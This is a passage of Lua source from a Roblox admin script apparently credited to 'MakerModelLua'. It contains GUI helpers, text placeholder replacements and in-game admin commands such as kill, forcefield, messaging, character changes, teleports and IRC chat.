5115 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5116 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5117 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5118
5119 local CurrentSeconds = AllSeconds
5120 local Alive = true
5121 coroutine.wrap(function() for i = 0,AllSeconds do
5122 if not Alive then break end
5123 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5124 local Minutes = tostring(math.floor(CurrentSeconds/60))
5125 if #Seconds == 1 then Seconds = "0"..Seconds end
5126 if #Minutes == 1 then Minutes = "0"..Minutes end
5127 Time.Text = Minutes..":"..Seconds
5128 wait(1)
5129 if CurrentSeconds <= 0 then
5130 Alarm:Play()
5131 Time.Text = "00:00"
5132 Part.Size = UDim2.new(1,0,1,0)
5133 Restore:Invoke()
5134 wait(4)
5135 Close:Invoke()
5136 break
5137 else
5138 Tick:Play()
5139 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5140 CurrentSeconds = CurrentSeconds - 1
5141 end
5142 end end)()
5143
5144 Closed.Event:connect(function()
5145 if Alive == true then
5146 Alive = false
5147 Tick:Stop()
5148 Alarm:Stop()
5149 end
5150 end)
5151end)() end
5152
5153function GUI:DetachChat(Player)
5154 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5155 if Player:FindFirstChild("DetachChatMML") then
5156 Player.DetachChatMML:Invoke(true)
5157 wait()
5158 Player.DetachChatMML:Destroy()
5159 end
5160
5161 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5162 local SG = Frame.Parent.Parent.Parent
5163
5164 local DCBF = Instance.new("BindableFunction", Player)
5165 DCBF.Name = "DetachChatMML"
5166 DCBF.OnInvoke = function(Remove)
5167 if Remove then
5168 SG:Destroy()
5169 end
5170 end
5171 CORE:ExecuteResource("CoreChat", SG)
5172
5173 local IsClosed = false
5174 Closed.Event:connect(function()
5175 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5176 IsClosed = true
5177 end)
5178
5179 coroutine.wrap(function()
5180 Player.CharacterRemoving:wait()
5181 if not IsClosed then
5182 IsClosed = true
5183 wait(1)
5184 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5185 end
5186 end)()
5187end
5188
5189function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5190 if not Player then return nil end
5191 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5192 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5193
5194 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5195end)() end
5196
5197function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5198 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5199 if not SoundID then SoundID = SoundInfo["ID"] end
5200 if not TitleText then TitleText = SoundInfo["Name"] end
5201 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5202 if not InputSound then InputSound = Sound end
5203
5204 local NumSounds = 0
5205 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5206 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5207 NumSounds = NumSounds + 1
5208 end
5209 end
5210
5211 local Size = UDim2.new(0.1, 100, 0.1, 100)
5212 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5213 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5214
5215 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5216 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5217 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5218 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5219 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5220 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5221 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5222
5223 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5224 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5225 if Sound then
5226 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5227 end
5228 if Time then
5229 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5230 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5231
5232 coroutine.wrap(function()
5233 local Alive = true
5234
5235 local function StopTimer() Alive = false end
5236 Closed.Event:connect(StopTimer)
5237 Minimized.Event:connect(StopTimer)
5238 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5239
5240 for i = Time,0,-1 do
5241 for ii = 1,10 do
5242 if Alive == true then
5243 Timer.Text = i
5244 wait(0.1)
5245 else
5246 break
5247 end
5248 end
5249 end
5250 if Alive == true then
5251 Close:Invoke()
5252 else
5253 Timer:Destroy()
5254 Stop:Destroy()
5255 end
5256 end)()
5257 end
5258end
5259
5260---- STRING REPLACEMENT OPERATIONS ----
5261
5262-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5263
5264-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5265
5266StringReplacements = {
5267 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5268 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5269 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5270 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5271 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5272 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5273 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5274 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5275 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5276 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5277
5278 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5279 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5280 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5281 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5282 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5283 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5284
5285 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5286 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5287 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5288 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5289 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5290 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5291 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5292 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5293 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5294 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5295 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5296 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5297 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5298 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5299 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5300 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5301}
5302
5303---- COMMANDS ----
5304
5305-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5306
5307Commands = { -- can't make local
5308 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5309 print("[MML's Admin]: Test message from "..Speaker.Name)
5310 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5311 end};
5312
5313 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5314 local Players = STRING:Scan(Arguments[1], Speaker)
5315 for _,Player in pairs(Players) do
5316 if Player.Character then
5317 Player.Character:BreakJoints()
5318 end
5319 end
5320 end};
5321
5322 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5323 local Players = STRING:Scan(Arguments[1], Speaker)
5324 for _,Player in pairs(Players) do
5325 if Player.Character then
5326 Instance.new("ForceField", Player.Character)
5327 end
5328 end
5329 end};
5330
5331 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5332 local Players = STRING:Scan(Arguments[1], Speaker)
5333 for _,Player in pairs(Players) do
5334 if Player.Character then
5335 for _,Get in pairs(Player.Character:GetChildren()) do
5336 if Get:IsA("ForceField") then
5337 Get:Destroy()
5338 end
5339 end
5340 end
5341 end
5342 end};
5343
5344 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5345 for _,Player in pairs(Server.Players:GetPlayers()) do
5346 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5347 end
5348 end};
5349
5350 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5351 for _,Player in pairs(Server.Players:GetPlayers()) do
5352 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5353 end
5354 end};
5355
5356 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5357 local Players = STRING:Scan(Arguments[1], Speaker)
5358 for _,Player in pairs(Players) do
5359 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5360 end
5361 end};
5362
5363 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5364 for _,Player in pairs(Server.Players:GetPlayers()) do
5365 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5366 end
5367 end};
5368
5369 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5370 local Players = STRING:Scan(Arguments[1], Speaker)
5371 for _,Player in pairs(Players) do
5372 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5373 end
5374 end};
5375
5376 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5377 local Players = STRING:Scan(Arguments[1], Speaker)
5378 local AgeList = {}
5379 for _,Player in pairs(Players) do
5380 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5381 end
5382 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5383 end};
5384
5385 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5386 local Players = STRING:Scan(Arguments[1], Speaker)
5387 local AgeList = {}
5388 for _,Player in pairs(Players) do
5389 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5390 end
5391 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5392 for _,Player in pairs(SecondPlayers) do
5393 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5394 end
5395 end};
5396
5397 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5398 local Storage = {{}, {}, {}, {}}
5399 local StorageText = {}
5400 local Formatted = {}
5401 for CommandNames,Data in pairs(Commands) do
5402 if not Data.Hidden then
5403 local RankNeeded = RANK:ConvertRank(Data[4])
5404 local Add = ""
5405 if Data[4] == "Non-Admin" then Add = "BLACK " end
5406 if Data[4] == "Admin" then Add = "CYAN " end
5407 if Data[4] == "Member" then Add = "BLUE " end
5408 if Data[4] == "Owner" then Add = "BROWN " end
5409 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5410 local AddBet = Settings.Bet
5411 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5412 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5413 table.insert(Storage[RankNeeded + 1], Add..Text)
5414 StorageText[Text] = CommandNames
5415 end
5416 end
5417 for Num,_ in pairs(Storage) do
5418 table.sort(Storage[Num])
5419 end
5420 for _,Table in pairs(Storage) do
5421 for _,Command in pairs(Table) do
5422 table.insert(Formatted, Command)
5423 end
5424 end
5425 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5426 Clicked.Event:connect(function(Text)
5427 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5428 end)
5429 end};
5430
5431 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5432 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5433 end};
5434
5435 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5436 if GUI:GetColor(Arguments[1]) then
5437 local ColorScheme = string.upper(Arguments[1])
5438 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5439 Settings.ColorScheme = ColorScheme
5440 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5441 else
5442 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5443 end
5444 end};
5445
5446 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5447 local List = {}
5448 for Color,_ in pairs(Colors) do
5449 table.insert(List, Color.." "..Color)
5450 end
5451 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5452 end};
5453
5454 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5455 local Transparency = tonumber(Arguments[1])
5456 if Transparency then
5457 if Transparency > 90 then Transparency = 90 end
5458 if Transparency < 10 then Transparency = 10 end
5459 Settings.TransparencyScheme = Transparency/100
5460
5461 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5462 else
5463 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5464 end
5465 end};
5466
5467 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5468 if Fonts[Arguments[1]] then
5469 Settings.Font = Arguments[1]
5470 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5471 end
5472 end};
5473
5474 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5475 Settings.Fun = not Settings.Fun
5476 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5477 end};
5478
5479 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5480 Settings.DisableAbuse = not Settings.DisableAbuse
5481 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5482 end};
5483
5484 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5485 local List = {}
5486 for Font,_ in pairs(Fonts) do
5487 if Font == Settings.Font then
5488 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5489 else
5490 table.insert(List, Font.." "..Font)
5491 end
5492 end
5493 GUI:ListGui(Speaker, "Font list", List, 44453197)
5494 end};
5495
5496 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5497 local SoundID = tonumber(Arguments[1])
5498 if SoundID then
5499 Settings.ExecuteNotificationSound = SoundID
5500
5501 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5502 else
5503 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5504 end
5505 end};
5506
5507 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5508 Settings.ExecuteNotificationSound = 0
5509 end};
5510
5511 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5512 local Players = STRING:Scan(Arguments[1], Speaker)
5513 for _,Player in pairs(Players) do
5514 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5515 end
5516 end};
5517
5518 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5519 local Players = STRING:Scan(Arguments[1], Speaker)
5520 for _,Player in pairs(Players) do
5521 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5522 end
5523 end};
5524
5525 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5526 local Players = STRING:Scan(Arguments[1], Speaker)
5527 for _,Player in pairs(Players) do
5528 coroutine.wrap(function()
5529 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5530 wait(1)
5531 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5532 end)()
5533 end
5534 end, Hidden = true};
5535
5536 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5537 local Players = STRING:Scan(Arguments[1], Speaker)
5538 for _,Player in pairs(Players) do
5539 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5540 end
5541 end};
5542
5543 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5544 local Players = STRING:Scan(Arguments[1], Speaker)
5545 for _,Player in pairs(Players) do
5546 CORE:ChangeName(Player, Arguments[2])
5547 end
5548 end};
5549
5550 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5551 local Players = STRING:Scan(Arguments[1], Speaker)
5552 for _,Player in pairs(Players) do
5553 if Player.Character then
5554 local Head = Player.Character:FindFirstChild("Label")
5555 if Head then Head:Destroy() end
5556 local Head = Player.Character:FindFirstChild("Head")
5557 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5558 end
5559 end
5560 end};
5561
5562 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5563 local Players = STRING:Scan(Arguments[1], Speaker)
5564 for _,Player in pairs(Players) do
5565 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5566 end
5567 end};
5568
5569 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5570 local Players = STRING:Scan(Arguments[1], Speaker)
5571 for _,Player in pairs(Players) do
5572 local _,RankNum = RANK:GetRank(Player)
5573 if RankNum <= RANK:ConvertRank(Rank) then
5574 Server.TS:Teleport(Arguments[2], Player)
5575 end
5576 end
5577 end};
5578
5579 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5580 local Players = STRING:Scan(Arguments[1], Speaker)
5581 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5582 if Suc then
5583 for _,Player in pairs(Players) do
5584 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5585 end
5586 else
5587 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5588 end
5589 end};
5590
5591 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5592 local Players = STRING:Scan(Arguments[1], Speaker)
5593 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5594 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5595 if Suc then
5596 for _,Player in pairs(Players) do
5597 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5598 end
5599 else
5600 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5601 end
5602 end)
5603 end};
5604
5605 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5606 local Players = STRING:Scan(Arguments[1], Speaker)
5607 for _,Player in pairs(Players) do
5608 local _,RankNum = RANK:GetRank(Player)
5609 if RankNum < RANK:ConvertRank(Rank) then
5610 Server.TS:Teleport(155307015, Player)
5611 end
5612 end
5613 end};
5614
5615 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5616 local Players = STRING:Scan(Arguments[1], Speaker)
5617 for _,Player in pairs(Players) do
5618 local _,RankNum = RANK:GetRank(Player)
5619 if RankNum < RANK:ConvertRank(Rank) then
5620 Server.TS:Teleport(347911447, Player)
5621 end
5622 end
5623 end};
5624
5625 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5626 local Players = STRING:Scan(Arguments[1], Speaker)
5627 for _,Player in pairs(Players) do
5628 CORE:GenerateShield(Player)
5629 end
5630 end};
5631
5632 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5633 local Players = STRING:Scan(Arguments[1], Speaker)
5634 for _,Player in pairs(Players) do
5635 if Player.Character then
5636 local Shield = Player.Character:FindFirstChild("Shield")
5637 if Shield then Shield:Destroy() end
5638 end
5639 end
5640 end};
5641
5642 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5643 local Num = tonumber(Arguments[1])
5644 if Num and Num ~= 0 then
5645 local Random = math.random(1,math.abs(Num))
5646 if Random == math.random(1,math.abs(Num)) then
5647 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5648 else
5649 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5650 end
5651 else
5652 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5653 end
5654 end};
5655
5656 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5657 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5658 IRC:AddChat(Speaker.Name, Arguments[1])
5659 end};
5660
5661 --[[
5662 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5663 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5664 if Res then
5665 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5666 end
5667 end, Http = true};
5668
5669 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5670 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5671 if Res then
5672 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5673 end
5674 end}, Http = true;
5675 ]]
5676
5677 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5678 IRC:Quit("Reconnecting")
5679 IRC:ConnectToServer(Settings.IRCServer)
5680 end};
5681
